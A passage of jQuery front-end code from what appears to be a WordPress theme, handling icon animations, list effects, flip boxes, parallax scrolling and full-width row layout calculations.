							$svgIcons[$iconID].finish();
							
						} else {
							
							if ($(this).parents('.active').length > 0 || 
							$(this).parents('#footer-outer').length > 0 || 
							$('body.mobile').length > 0) {
								
								$svgIcons[$iconID].reset();
								$animatedSVGIconTimeout[i] = setTimeout(function () {
									$svgIcons[$iconID].play();
								}, $animationDelay);
								
							} else {
								$svgIcons[$iconID].reset().stop();
							}
						}
					});
					
				}
				
				
				
				/**
				* Fancy unordered list element initialization.
				*
				* @since 4.0
				* @see waypoints
				*/
				function nectarFancyUlInit() {

					$($fullscreenSelector + '.nectar-fancy-ul').each(function () {

						var $animation  = $(this).attr('data-animation'),
						$animationDelay = 0; 
						
						if($(this).is('[data-animation-delay]') && 
							$(this).attr('data-animation-delay').length > 0 && 
							$(this).attr('data-animation') != 'false') {
							$animationDelay = $(this).attr('data-animation-delay');
						}
						
						if ($animation == 'true') {
							
							var $that = $(this),
							waypoint 	= new Waypoint({
								element: $that,
								handler: function () {
									
									if ($that.parents('.wpb_tab').length > 0 && $that.parents('.wpb_tab').css('visibility') == 'hidden' || $that.hasClass('animated-in')) {
										waypoint.destroy();
										return;
									}
									
									setTimeout(function () {
										$that.find('li').each(function (i) {
											var $that = $(this);
											$that.delay(i * 220).transition({
												'opacity': '1',
												'left': '0'
											}, 220, 'easeOutCubic');
										});
									}, $animationDelay);
									
									$that.addClass('animated-in');
									waypoint.destroy();
								},
								offset: 'bottom-in-view'
								
							});
							
						}
						
					});
					
				}
				
				
				/**
				* Fancy unordered list element icons.
				*
				* @since 11.0
				*/
				function nectarFancyUlIcons() {
					
					$('.nectar-fancy-ul:not([data-list-icon="dot"])').each(function () {

						var $icon = $(this).attr('data-list-icon'),
						$color    = $(this).attr('data-color');
					
						$(this).find('li').each(function () {
							$(this).find('> i').remove();
							$(this).prepend('<i class="icon-default-style ' + $icon + ' ' + $color + '"></i> ');
						});
						
					});
					
				}
				

				/**
				* Flipbox element height calculations.
				*
				* @since 7.0
				*/
				function flipBoxHeights() {
					
					$('.nectar-flip-box').each(function () {
						
						var $flipBoxMinHeight = parseInt($(this).attr('data-min-height')),
						$flipBoxHeight        = $(this).find('.flip-box-front .inner').height();
						
						if ($(this).find('.flip-box-back .inner').height() > $(this).find('.flip-box-front .inner').height()) {
							$flipBoxHeight = $(this).find('.flip-box-back .inner').height();
						}
						
						if ($flipBoxHeight >= $flipBoxMinHeight - 80) {
							$(this).find('> div').css('height', $flipBoxHeight + 80);
						} else {
							$(this).find('> div').css('height', 'auto');
						}
						
						// Safari needs 3D translate.
						if ($(this).parent().hasClass('wpb_wrapper')) {
							$(this).parent().css('transform', 'translateZ(0)');
						}
						
					});
				}
				
				
				
				
				/**
				* Flipbox element events.
				*
				* @since 7.0
				*/
				function flipBoxInit() {
					
					if( $('.nectar-flip-box').length > 0 ) {
						
						// Mobile gets click.
						if (nectarDOMInfo.usingMobileBrowser) {
							$body.on('click', '.nectar-flip-box', function () {
								$(this).toggleClass('flipped');
							});
						}
						
						flipBoxHeights();
						
						// Handle resize.
						$window.on('smartresize', flipBoxHeights);
					}
					
				}
				
				


				/**
				* Parallax Scrolling
				*
				* @since 3.0
				*/
				$.fn.parallaxScroll = function (xpos, speedFactor, outerHeight) {
					
					var $windowDOMWidth = nectarDOMInfo.winW,
					$windowDOMHeight    = nectarDOMInfo.winH,
					$orientationChange  = 0,
					$this               = $(this),
					firstTop            = $this.offset().top;
					
					// Get the starting position of each element to have parallax applied to it		
					$this.each(function () {
						firstTop = $this.offset().top;
					});
					
					var getHeight = function (jqo) {
						return jqo.outerHeight(true);
					};

					// setup defaults if arguments aren't specified
					if (arguments.length < 1 || xpos === null) {
						xpos = "50%";
					}
					if (arguments.length < 2 || speedFactor === null) {
						speedFactor = 0.25;
					}
					if (arguments.length < 3 || outerHeight === null) {
						outerHeight = true;
					}
					
					var $onMobileBrowser      = nectarDOMInfo.usingMobileBrowser,
					classic_mobile_menu_open  = false,
					firstSection              = false,
					$element                  = $this,
					height                    = getHeight($element);
					
					
					$this.find('.row-bg.using-image, .page-header-bg-image, .image-bg, .video-wrap').addClass('translate');
					
					setInterval(function () {
						
						height = getHeight($element);
						classic_mobile_menu_open = ($('body.classic_mobile_menu_open.mobile').length > 0) ? true : false;
						
					}, 600);
					

					if($element.parents('.top-level').length > 0 && $element.parents('.parallax_slider_outer').length > 0 || 
					$element.parents('.top-level').length > 0 && $element.is('.nectar-recent-posts-single_featured') || 
					$element.is('.wpb_row.top-level') || 
					$('.wpb_row').length == 0) {
						firstSection = true;
					}
					
					if ($('.wpb_row').length == 0 && $element.parents('.parallax_slider_outer').length > 0 && $element.is('[data-full-width="true"]') ||
					($('#portfolio-extra').length > 0 && $element.parents('.parallax_slider_outer').length > 0 && $element.parents('.wpb_row').length > 0 && $element.parents('.wpb_row').index() == '0')) {
						firstSection = true;
					}
					
					if (nectarDOMInfo.usingFrontEndEditor) {
						firstSection = false;
					}
					
					var nectarSliderElBool = $this.is('.nectar-slider-wrap');
					var pageHeaderBool     = ($this.find('.page-header-bg-image').length > 0) ? true : false;
					var $elToParallax      = false;
					
					if (nectarSliderElBool) {
						
						if ($this.find('.video-wrap').length > 0 || $this.find('.image-bg').length > 0) {
							$elToParallax = $this.find('.video-wrap, .image-bg');
						}
						
					} else {
						
						if ($this.find('.row-bg.using-image').length > 0) {
							$elToParallax = $this.find('.row-bg.using-image');
						} else if ($this.find('.page-header-bg-image').length > 0) {
							$elToParallax = $this.find('.page-header-bg-image');
						}
						
					}
					
					
					function update() {
						
						firstTop = $element.offset().top;

						// Check if totally above or totally below viewport.
						if ($elToParallax == false || 
							firstTop + height < nectarDOMInfo.scrollTop || 
							firstTop > nectarDOMInfo.scrollTop + nectarDOMInfo.winH || 
							$('body.material-ocm-open').length > 0) {
							// Skip processing.
						} else {
							
							// Nectar slider
							if (nectarSliderElBool) {
								
								if (firstSection) {
									// Top level row
									if (!classic_mobile_menu_open) {
										$this.find('.video-wrap, .image-bg').css({
											'transform': 'translate3d(0, ' + parseFloat(nectarDOMInfo.scrollTop * speedFactor) + 'px, 0)'
										});
									}
								} else {
									$this.find('.video-wrap, .image-bg').css({
										'transform': 'translate3d(0, ' + parseFloat((($windowDOMHeight + nectarDOMInfo.scrollTop - firstTop) * speedFactor)) + 'px, 0)'
									});
								}
								
							} else {
								
								// Rows
								if (firstSection) {
									// Top level row
									if (!classic_mobile_menu_open) {
										$elToParallax.css({
											'transform': 'translate3d(0, ' + parseFloat(nectarDOMInfo.scrollTop * speedFactor) + 'px, 0)'
										});
									}
								} else {
									// Regular rows further down page
									$elToParallax.css({
										'transform': 'translate3d(0, ' + parseFloat((($windowDOMHeight + nectarDOMInfo.scrollTop - firstTop) * speedFactor)) + 'px, 0), scale(1.005)'
									});
								}
								
								// Page header
								if (pageHeaderBool && !classic_mobile_menu_open) {
									$elToParallax.css({
										'transform': 'translate3d(0, ' + parseFloat(nectarDOMInfo.scrollTop * speedFactor) + 'px, 0)'
									});
								}
								
							}

						}
						
						
						//if on mobile, auto RAF
						if ($onMobileBrowser) {
							requestAnimationFrame(update);
						}
						
					}
					
					if (window.addEventListener) {
						
							if (nectarDOMInfo.usingFrontEndEditor || !nectarDOMInfo.usingMobileBrowser) {
								$window.on('resize', function () {
									$windowDOMWidth = nectarDOMInfo.winW;
									$windowDOMHeight = nectarDOMInfo.winH;
								});
							}
							
							if (nectarDOMInfo.usingFrontEndEditor) {
								
								$window.on('scroll.parallaxSections', update);
								
							} else if (!nectarDOMInfo.usingMobileBrowser) {
								
								window.addEventListener('scroll', function () {
									requestAnimationFrame(update);
								}, false);
								
							} else {
								
								//if on mobile, auto RAF
								requestAnimationFrame(update);

								window.addEventListener("orientationchange", function () {
									$orientationChange = 1;
								});
								
								$window.on('resize', function () {
									if (($window.width() != $windowDOMWidth && $window.height != $windowDOMHeight) || $orientationChange == 1) {
										
										//store the current window dimensions
										$windowDOMWidth = nectarDOMInfo.winW;
										$windowDOMHeight = nectarDOMInfo.winH;
										
										$orientationChange = 0;
									}
								});
								
							}
						
					}
					
					$window.on('resize.parallaxSections', update);
					
					update();
					
				};
				
				
				
				
				/**
				* Nectar Slider force full width parent row when using full width element option.
				*
				* @since 4.0
				*/
				function fullWidthSectionsPreInit() {
					$('.wpb_row .vc_col-sm-12 .nectar-slider-wrap[data-full-width="true"]').each(function () {
						if ($(this).parents('.wpb_row.full-width-section').length == 0 && $(this).parents('.wpb_row.full-width-content').length == 0) {
							$(this).parents('.wpb_row').addClass('full-width-section');
						}
					});
				}
				
				
				
				/**
				* Full width section calculations.
				*
				* @since 4.0
				*/
				function fullWidthSections() {
					
					var $windowInnerWidth = nectarDOMInfo.winW,
					$bodyBorderWidth      = ($('.body-border-right').length > 0 && $windowInnerWidth > 1000) ? parseInt($('.body-border-right').width()) * 2 : 0,
					$container_width      = ($('.container-wrap').length > 0) ? parseInt($('.container-wrap').outerWidth()) : $window.width();
					
					var $windowWidth,
					$justOutOfSight,
					$mainContentWidth;
					
					if ($('#boxed').length == 1) {
						$justOutOfSight = ((parseInt($('.container-wrap').width()) - parseInt($('.main-content').width())) / 2) + 4;
					} else {
						
						// Ext responsive mode is on - add the extra padding into the calcs
						var $extResponsivePadding = ($('body[data-ext-responsive="true"]').length > 0 && $windowInnerWidth >= 1000) ? 180 : 0;
						
						if ($container_width - $bodyBorderWidth <= parseInt($('.main-content').css('max-width'))) {
							$windowWidth = parseInt($('.main-content').css('max-width'));
						} else {
							$windowWidth = $container_width - $bodyBorderWidth;
						}
						
						
						var $contentWidth = parseInt($('.main-content').css('max-width'));
						
						// Single post fullwidth
						if ($('body.single-post[data-ext-responsive="true"]').length > 0 && $('.container-wrap.no-sidebar').length > 0) {
							$contentWidth = $('.post-area').width();
							$extResponsivePadding = 0;
						}
						
						$justOutOfSight = Math.ceil((($windowWidth + $extResponsivePadding - $contentWidth) / 2));
					}
					
					
					// Full width content row type.
					$('.carousel-outer').has('.carousel-wrap[data-full-width="true"]').css('overflow', 'visible');
					
					$('.carousel-wrap[data-full-width="true"], .portfolio-items[data-col-num="elastic"]:not(.fullwidth-constrained), .full-width-content').each(function () {
						
						var $leftHeaderSize = ($('#header-outer[data-format="left-header"]').length > 0 && $windowInnerWidth >= 1000) ? parseInt($('#header-outer[data-format="left-header"]').width()) : 0;
						var $bodyBorderWidth = ($('.body-border-right').length > 0 && $windowInnerWidth > 1000) ? (parseInt($('.body-border-right').width()) * 2) - 2 : 0;
						
						// Single post fullwidth.
						if ($('#boxed').length == 1) {
							
							$mainContentWidth = ($('#nectar_fullscreen_rows').length == 0) ? parseInt($('.main-content').width()) : parseInt($(this).parents('.container').width());
							
							if ($('body.single-post[data-ext-responsive="true"]').length > 0 && $('.container-wrap.no-sidebar').length > 0 && $(this).parents('.post-area').length > 0) {
								$contentWidth         = $('.post-area').width();
								$extResponsivePadding = 0;
								$windowWidth          = $container_width - $bodyBorderWidth;
								$justOutOfSight       = Math.ceil((($windowWidth + $extResponsivePadding - $contentWidth) / 2));
							} else {
								if ($(this).parents('.page-submenu').length > 0) {
									$justOutOfSight = ((parseInt($('.container-wrap').width()) - $mainContentWidth) / 2);
								}
								else {
									$justOutOfSight = ((parseInt($('.container-wrap').width()) - $mainContentWidth) / 2) + 4;
								}
							}
						} else {
							
							if ($('body.single-post[data-ext-responsive="true"]').length > 0 && $('.container-wrap.no-sidebar').length > 0 && $(this).parents('.post-area').length > 0) {
								
								$contentWidth         = $('.post-area').width();
								$extResponsivePadding = 0;
								$windowWidth          = $container_width - $bodyBorderWidth;
							
							} else {
								
								var $mainContentMaxWidth = ($('#nectar_fullscreen_rows').length == 0) ? parseInt($('.main-content').css('max-width')) : parseInt($(this).parents('.container').css('max-width'));
								
								if ($container_width - $bodyBorderWidth <= $mainContentMaxWidth) {
									$windowWidth = $mainContentMaxWidth;
								}
								
								$contentWidth         = $mainContentMaxWidth;
								$extResponsivePadding = ($('body[data-ext-responsive="true"]').length > 0 && nectarDOMInfo.winW >= 1000) ? 180 : 0;
								
								if ($leftHeaderSize > 0) {
									$extResponsivePadding = ($('body[data-ext-responsive="true"]').length > 0 && nectarDOMInfo.winW >= 1000) ? 120 : 0;
								}
								
							}
							
							$justOutOfSight = Math.ceil((($windowWidth + $extResponsivePadding - $contentWidth) / 2));
						}
						
						var $extraSpace = 0;
						if ($(this).hasClass('carousel-wrap')) {
							$extraSpace = 1;
						}
						if ($(this).hasClass('portfolio-items')) {
							$extraSpace = 5;
						}
						
						var $carouselWidth = ($('#boxed').length == 1) ? $mainContentWidth + parseInt($justOutOfSight * 2) : $container_width - $bodyBorderWidth + $extraSpace;
						
						// When using gutter on portfolio don't add extra space
						if ($('#boxed').length == 0 && $(this).hasClass('portfolio-items') && $(this).is('[data-gutter*="px"]') && $(this).attr('data-gutter').length > 0 && $(this).attr('data-gutter') != 'none') {
							if ($container_width > 1000) {
								$carouselWidth = $container_width - $bodyBorderWidth + 3;
							}
							else {
								$carouselWidth = $container_width - $bodyBorderWidth;
							}
						}
						
						if ($(this).parent().hasClass('default-style')) {
							
							$mainContentWidth = ($('#nectar_fullscreen_rows').length == 0) ? parseInt($('.main-content').width()) : parseInt($(this).parents('.container').width());
							
							if ($('#boxed').length != 0) {
								$carouselWidth  = ($('#boxed').length == 1) ? $mainContentWidth + parseInt($justOutOfSight * 2) : $container_width + $extraSpace;
							} else {
								$carouselWidth  = ($('#boxed').length == 1) ? $mainContentWidth + parseInt($justOutOfSight * 2) : ($container_width - $bodyBorderWidth) - (($container_width - $bodyBorderWidth) * 0.025) + $extraSpace;
								$windowWidth    = ($container_width - $bodyBorderWidth <= $mainContentWidth) ? $mainContentWidth : ($container_width - $bodyBorderWidth) - (($container_width - $bodyBorderWidth) * 0.025);
								$justOutOfSight = Math.ceil((($windowWidth - $mainContentWidth) / 2));
							}
							
						} 
						
						else if ($(this).parent().hasClass('spaced')) {
							
							$mainContentWidth = ($('#nectar_fullscreen_rows').length == 0) ? parseInt($('.main-content').width()) : parseInt($(this).parents('.container').width());
							
							if ($('#boxed').length != 0) {
								$carouselWidth = ($('#boxed').length == 1) ? $mainContentWidth + parseInt($justOutOfSight * 2) - ($container_width * 0.02) : $container_width + $extraSpace;
							} else {
								$carouselWidth = ($('#boxed').length == 1) ? $mainContentWidth + parseInt($justOutOfSight * 2) : ($container_width - $bodyBorderWidth) - Math.ceil(($container_width - $bodyBorderWidth) * 0.02) + $extraSpace;
								var $windowWidth2 = ($container_width - $bodyBorderWidth <= $mainContentWidth) ? $mainContentWidth : ($container_width - $bodyBorderWidth) - (($container_width - $bodyBorderWidth) * 0.02);
								$justOutOfSight = Math.ceil((($windowWidth2 - $mainContentWidth) / 2) + 2);
							}
						}
						
						// Make sure the element/row is capable of going full width.
						if (!$(this).parents('.span_9').length > 0 && 
						!$(this).parent().hasClass('span_3') && 
						$(this).parent().attr('id') != 'sidebar-inner' && 
						$(this).parent().attr('id') != 'portfolio-extra' &&
						!$(this).find('.carousel-wrap[data-full-width="true"]').length > 0 &&
						!$(this).find('.nectar-carousel-flickity-fixed-content').length > 0 &&
						!$(this).find('.portfolio-items:not(".carousel")[data-col-num="elastic"]').length > 0) {
							
							// Escape if inside woocoommerce page and not using applicable layout
							if ($('.single-product').length > 0 && 
							$(this).parents('#tab-description').length > 0 && 
							$(this).parents('.full-width-tabs').length == 0) {
								
								$(this).css({
									'visibility': 'visible'
								});
								
							} else {
								// Portfolio.
								if ($(this).hasClass('portfolio-items')) {
									$(this).css({
										'margin-left': -$justOutOfSight,
										'left': 0,
										'width': $carouselWidth,
										'visibility': 'visible'
									});
									
								} else {
									
									// Fullscreen page rows left.
									if ($('#nectar_fullscreen_rows').length > 0 && $(this).hasClass('wpb_row')) {
										
										$(this).css({
											'margin-left': -$justOutOfSight,
											'width': $carouselWidth,
											'visibility': 'visible'
										});
										
									} else {
										// Regular rows.
										$(this).css({
											'left': 0,
											'margin-left': -$justOutOfSight,
											'width': $carouselWidth,
											'visibility': 'visible'
										});
									}
									
								}
								
							}
						} 
						
						else if ($(this).parent().attr('id') == 'portfolio-extra' && $('#full_width_portfolio').length != 0) {
							
							$(this).css({
								'left': 0,
								'margin-left': -$justOutOfSight,
								'width': $carouselWidth,
								'visibility': 'visible'
							});
							
						} else {
							
							$(this).css({
								'margin-left': 0,
								'width': 'auto',
								'left': '0',
								'visibility': 'visible'
							});
						}
						
					});
					
				}
				

				
				/**
				* Parallax scroll speed helper.
				*
				* @since 4.0
				*/
				function parallaxSrollSpeed(speedString) {
					
					var speed;
					switch (speedString) {
						case 'slow':
							speed = 0.6;
							break;
						case 'medium':
							speed = 0.4;
							break;
						case 'fast':
							speed = 0.25;
							break;
					}

					return speed;
				}
				
				
				/**
				* Parallax scroll initialization.
				*
				* @since 4.0
				*/
				function parallaxScrollInit() {
					
					if (nectarDOMInfo.usingMobileBrowser && $('body[data-remove-m-parallax="1"]').length > 0) {
						return;
					}
					
					parallaxRowsBGCals();
					
					$('.nectar-recent-posts-single_featured, .wpb_row.parallax_section, #page-header-bg[data-parallax="1"] .page-header-bg-image-wrap, .parallax_slider_outer .nectar-slider-wrap').each(function () {
						var $id = $(this).attr('id');
						
						if ( $(this).find('[data-parallax-speed="fixed"]').length == 0) {
							
							if ($(this).find('.row-bg').length == 0) {
								//set default scroll speed if not defined
								$('#' + $id).parallaxScroll("50%", 0.25);
							} else {
								$('#' + $id + ".parallax_section").parallaxScroll("50%", parallaxSrollSpeed($(this).find('.row-bg').attr('data-parallax-speed')));
							}
							
						} 
						
						$(this).addClass('nectar-parallax-enabled');
						
					});
					
				}
				
				
				/**
				* First full width row on page
				*
				* @since 4.0
				*/
				function firstFWSection() {
					$('.full-width-section.wpb_row, .full-width-content.wpb_row').each(function () {
						
						if (!$(this).parent().hasClass('span_9') && 
						!$(this).parent().hasClass('span_3') && 
						$(this).parent().attr('id') != 'sidebar-inner') {
							
							if ($(this).parents('#portfolio-extra').length > 0 && $('#full_width_portfolio').length == 0) {
								return false;
							}
							
							if ($(this).index() == '0' && 
							$pageHeaderBG.length == 0 && 
							$('.page-header-no-bg').length == 0 &&
							$('.project-title').length == 0 && 
							$('body.single').length == 0 &&
							$('.project-title').length == 0) {
								
								$(this).addClass('first-section');
								var $that = $(this);
								setTimeout(function () {
									$that.addClass('loaded');
								}, 50);
								
							}
							
						}
						
					});
				}
				
				
				
				
				
				/**
				* Parallax row background height calculations.
				*
				* @since 6.0
				*/
				function parallaxRowsBGCals() {
					
					if (nectarDOMInfo.usingMobileBrowser && $('body[data-remove-m-parallax="1"]').length > 0) {
						return;
					}
					
					$('.nectar-recent-posts-single_featured, .wpb_row.parallax_section, #page-header-bg[data-parallax="1"] .page-header-bg-image-wrap, .parallax_slider_outer .nectar-slider-wrap .slide-bg-wrap').each(function () {
						
						var $non_page_builder_slider;
						
						if ($(this).find('.row-bg').length == 0 && $(this).find('.page-header-bg-image').length > 0) {
							//skip processing.
						} else if ($(this).find('.row-bg').length == 0 && $(this).find('.image-bg').length > 0) {
							
							$non_page_builder_slider = false;
							
							// First nectar slider shortcode without page builder
							if ($('.wpb_row').length == 0 && 
							$(this).parents('.nectar-slider-wrap[data-full-width="true"]').length > 0 && 
							$(this).parents('.parallax_slider_outer').length > 0 && 
							$(this).parents('.parallax_slider_outer').index() == '1') {
								$non_page_builder_slider = true;
							}
							
							// Portfolio first
							if ($('#portfolio-extra').length > 0 && 
							$(this).parents('.wpb_row').length > 0 && 
							$(this).parents('.parallax_slider_outer').length > 0 && 
							$(this).parents('.wpb_row').index() == '0') {
								$non_page_builder_slider = true;
							}
							
							// Set heights.
							if ($(this).parents('.top-level').length > 0 && !nectarDOMInfo.usingFrontEndEditor || 
							$non_page_builder_slider && !nectarDOMInfo.usingFrontEndEditor) {
								$(this).find('.image-bg').css({
									'height': Math.ceil($(this).parent().offset().top * 0.25) + $(this).outerHeight(true)
								});
							} else {
								$(this).find('.image-bg').css({
									'height': Math.ceil($window.height() * 0.25) + $(this).outerHeight(true)
								});
							}
							
						} 
						
						// Video backgrounds.
						else if ($(this).find('.row-bg').length == 0 && $(this).find('.video-wrap').length > 0) {
							
							$non_page_builder_slider = false;
							// First nectar slider shortcode without page builder
							if ($('.wpb_row').length == 0 && 
							$(this).parents('.nectar-slider-wrap[data-full-width="true"]').length > 0 && 
							$(this).parents('.parallax_slider_outer').length > 0 && 
							$(this).parents('.parallax_slider_outer').index() == '1') {
								$non_page_builder_slider = true;
							}
							// Portfolio first
							if ($('#portfolio-extra').length > 0 && 
							$(this).parents('.wpb_row').length > 0 && 
							$(this).parents('.parallax_slider_outer').length > 0 && 
							$(this).parents('.wpb_row').index() == '0') {
								$non_page_builder_slider = true;
							}
							
							// Set heights.
							if ($(this).parents('.top-level').length > 0 && !nectarDOMInfo.usingFrontEndEditor || 
							$non_page_builder_slider && !nectarDOMInfo.usingFrontEndEditor) {
								
								$(this).find('.video-wrap').css({
									'height': Math.ceil($(this).parent().offset().top * 0.25) + $(this).outerHeight(true)
								});
							} 
							
							else {
								$(this).find('.video-wrap').css({
									'height': Math.ceil($window.height() * 0.25) + $(this).outerHeight(true)
								});
							}
							
							var vid     = $(this).find('.video-wrap video'),
							vid_w_orig  = 1280,
							vid_h_orig  = 720;
							
							// Get the parent element size
							var container_w = vid.parent().width(),
							container_h     = vid.parent().height(),
							scale_w         = container_w / vid_w_orig,
							scale_h         = container_h / vid_h_orig;
							
							var scale       = scale_w > scale_h ? scale_w : scale_h;
							
							// Scale the video.
							vid.width(scale * vid_w_orig);
							vid.height(scale * vid_h_orig);
							
						} else {
							
							if ($(this).is('.nectar-recent-posts-single_featured') && $(this).parents('.top-level').length > 0 && !nectarDOMInfo.usingFrontEndEditor) {
								//skip processing.
							} else if (!$(this).hasClass('top-level') || nectarDOMInfo.usingFrontEndEditor) {
								
								var $ifFast = ($(this).find('.row-bg[data-parallax-speed="fast"]').length > 0) ? 60 : 0;
								$(this).find('.row-bg').css({
									'height': Math.ceil($window.height() * parallaxSrollSpeed($(this).find('.row-bg').attr('data-parallax-speed'))) + $(this).outerHeight(true) + $ifFast
								});
								
							}
							
						}

					});
					
				}
				
				
				/**
				* Class names added for specific full width section rows at top
				*
				* @since 3.0
				*/
				function fwsClasses() {
					
					$('.wpb_wrapper > .nectar-slider-wrap[data-full-width="true"]').each(function () {
						if (!$(this).parent().hasClass('span_9') && !$(this).parent().hasClass('span_3') && $(this).parent().attr('id') != 'sidebar-inner') {
							if ($(this).parents('.wpb_row').index() == '0') {
								$(this).addClass('first-nectar-slider');
							}
						}
					});
					
					var $contentElementsNum = ($('#portfolio-extra').length == 0) ? $('.main-content > .row > *').length : $('.main-content > .row #portfolio-extra > *').length;
					
					if ($('#portfolio-extra').length == 0) {
						$contentElementsNum = ($('.main-content > .row > .wpb_row').length > 0) ? $('.main-content > .row > .wpb_row').length : $('.main-content > .row > *').length;
					} else {
						$contentElementsNum = $('.main-content > .row #portfolio-extra > *').length;
					}
					
					$('.full-width-section, .full-width-content:not(.page-submenu .full-width-content):not(.blog-fullwidth-wrap), .row > .nectar-slider-wrap[data-full-width="true"], .wpb_wrapper > .nectar-slider-wrap[data-full-width="true"], .portfolio-items[data-col-num="elastic"]').each(function () {
						
						if (!$(this).parent().hasClass('span_9') && !$(this).parent().hasClass('span_3') && $(this).parent().attr('id') != 'sidebar-inner') {
							
							if ($(this).parents('.wpb_row').length > 0) {
								
								if ($(this).parents('#portfolio-extra').length > 0 && 
									$('#full_width_portfolio').length == 0) {
									return false;
								}
								
								////first
								if ($(this).parents('.wpb_row').index() == '0' && $pageHeaderBG.length != 0) {
									//skip processing.
								} 
								else if ($(this).parents('.wpb_row').index() == '0' && 
								$pageHeaderBG.length == 0 && $('.page-header-no-bg').length == 0 && 
								$('.project-title').length == 0 && $(this).parents('.wpb_row').index() == '0' && 
								$('.project-title').length == 0 && $('body[data-bg-header="true"]').length == 0) {
									
									if ($('.single').length == 0) {
										$('.container-wrap').css('padding-top', '0px');
									} else {
										$(this).addClass('first-section');
									}
									
								}
								
								// Check if it's also last (i.e. the only fws)
								if ($(this).parents('.wpb_row').index() == $contentElementsNum - 1 && $('#respond').length == 0) {
									if ($(this).attr('id') != 'portfolio-filters-inline') {
										$('.container-wrap').css('padding-bottom', '0px');
										$('#call-to-action .triangle').remove();
									}
								}
								
							} else {
								
								if ($(this).parents('#portfolio-extra').length > 0 && $('#full_width_portfolio').length == 0) {
									return false;
								}
								
								if ($(this).find('.portfolio-filters-inline').length == 0 && $(this).attr('id') != 'post-area') {
									
									////first
									if ($(this).index() == '0' && $pageHeaderBG.length != 0) {
										//skip processing.
									} 
									else if ($(this).index() == '0' && $pageHeaderBG.length == 0 && 
									$(this).index() == '0' && $('.page-header-no-bg').length == 0 && 
									$(this).index() == '0' && !$(this).hasClass('blog_next_prev_buttons') && 
									!$(this).hasClass('nectar-shop-outer') && $(this).parents('.pum-container').length == 0) {
										
										if ($('body[data-header-resize="0"]').length == 1 && $('.single').length == 0 || $('body.material').length > 0 && $('.single').length == 0) {
											
											if (!$('body.blog .blog-fullwidth-wrap > .masonry:not(.meta-overlaid)').length > 0) {
												$('.container-wrap').css('padding-top', '0px');
											}
											
										} 
										
										else {
											$(this).addClass('first-section');
										}
										
									}
									
									//check if it's also last (i.e. the only fws)
									if ($(this).index() == $contentElementsNum - 1 && $('#respond').length == 0 && $('body.woocommerce-checkout').length == 0) {
										$('.container-wrap').css('padding-bottom', '0px');
										$('.bottom_controls').css('margin-top', '0px');
										$('#call-to-action .triangle').remove();
									}
									
								}
							}
						}
						
					});
					
					
					$('#portfolio-extra > .nectar-slider-wrap[data-full-width="true"], .portfolio-wrap').each(function () {
						//check if it's last 
						if ($(this).index() == $contentElementsNum - 1 && $('#commentform').length == 0 && $('#pagination').length == 0) {
							if (parseInt($('.container-wrap').css('padding-bottom')) > 0) {
								$(this).css('margin-bottom', '-40px');
							}
							$('#call-to-action .triangle').remove();
						}
					});
					
					
					$('.portfolio-filters').each(function () {
						////first
						if ($(this).index() == '0' && $pageHeaderBG.length != 0 || $(this).index() == '0') {
							$(this).addClass('first-section nder-page-header');
						} else if ($(this).index() == '0' && $pageHeaderBG.length == 0 || $(this).index() == '0') {
							$(this).css({
								'margin-top': '0px'
							}).addClass('first-section');
						}
					});
					
					
					$('.portfolio-filters-inline').each(function () {
						////first
						if ($(this).parents('.wpb_row').length > 0) {
							//skip processing.
						} else {
							if ($(this).index() == '0' && $pageHeaderBG.length != 0 || $(this).index() == '0') {
								$(this).addClass('first-section nder-page-header');
							} else if ($(this).index() == '0' && $pageHeaderBG.length == 0 || $(this).index() == '0') {
								
								$(this).css({
									'margin-top': '-30px',
									'padding-top': '50px'
								}).addClass('first-section');
								
							}
						}
						
					});
					
					
				}
				
				

			
				
				
				/**
				* Full width row padding adjust calculations.
				*
				* @since 3.0
				*/
				function fullWidthRowPaddingAdjustCalc() {
					
					if ($('#boxed').length == 0) {
						
						$('.full-width-section[data-top-percent], .full-width-section[data-bottom-percent], .full-width-content[data-top-percent], .full-width-content[data-bottom-percent]').each(function () {
							
							var $windowHeight = $window.width(),
							$topPadding       = ($(this).attr('data-top-percent')) ? $(this).attr('data-top-percent') : 'skip',
							$bottomPadding    = ($(this).attr('data-bottom-percent')) ? $(this).attr('data-bottom-percent') : 'skip';
							
							//top
							if ($topPadding != 'skip') {
								$(this).css('padding-top', $windowHeight * (parseInt($topPadding) / 100));
							}
							
							//bottom
							if ($bottomPadding != 'skip') {
								$(this).css('padding-bottom', $windowHeight * (parseInt($bottomPadding) / 100));
							}
							
						});
					}
				}
				
				
				/**
				* Full width row padding adjust initialization
				*
				* @since 10.5
				*/
				function fullWidthRowPaddingAdjust() {
					
					if (nectarDOMInfo.usingMobileBrowser) {
						fullWidthRowPaddingAdjustCalc();
					}
					
					$window.on('resize', fullWidthRowPaddingAdjustCalc);
					
				}
				
				
				
				
				
				/**
				* Full width content row auto equal height cols.
				*
				* @since 4.0
				*/
				function fullWidthContentColumns() {
					
					var $frontEndEditorElDiv = ($('body.vc_editor').length > 0) ? '.vc_element > ' : '';
					
					$('.main-content > .row > ' + $frontEndEditorElDiv + ' .full-width-content, #portfolio-extra > ' + $frontEndEditorElDiv + ' .full-width-content, .woocommerce-tabs #tab-description > .full-width-content, .post-area.span_12 article .content-inner > .full-width-content').each(function () {
						
						// Only set the height if more than one column
						if ($(this).find('> .span_12 > ' + $frontEndEditorElDiv + ' .col').length > 1) {
							
							var tallestColumn       = 0;
							var $columnInnerHeight  = 0;
							var $column_inner_selector;
							
							$(this).find('> .span_12 > ' + $frontEndEditorElDiv + '  .col').each(function () {
								
								$column_inner_selector = ($(this).find('> .vc_column-inner > .wpb_wrapper').length > 0) ? '.vc_column-inner' : '.column-inner-wrap > .column-inner';
								
								var $padding = ( $body.is('[data-flex-cols="true"]') ) ? parseInt($(this).find('> .vc_column-inner').css('padding-top')) : parseInt($(this).css('padding-top'));
								var $frontEndEditorElPadding = ($frontEndEditorElDiv.length > 2 && $(this).find('> .vc_column-inner').length > 0) ? parseInt($(this).find('> .vc_column-inner').css('padding-top')) : 0;
								
								if( $(this).find('> ' + $column_inner_selector + ' > .wpb_wrapper').height() + ($padding * 2) + $frontEndEditorElPadding > tallestColumn ) {
									tallestColumn = $(this).find('> ' + $column_inner_selector + ' > .wpb_wrapper').height() + ($padding * 2) + $frontEndEditorElPadding;
								}
								
							});
							
							$(this).find('> .span_12 > ' + $frontEndEditorElDiv + ' .col').each(function () {
								
								$column_inner_selector = ($(this).find('> .vc_column-inner > .wpb_wrapper').length > 0) ? '.vc_column-inner' : '.column-inner-wrap > .column-inner';
								
								// Columns with content
								if ($(this).find('> ' + $column_inner_selector + ' > .wpb_wrapper > *').length > 0) {
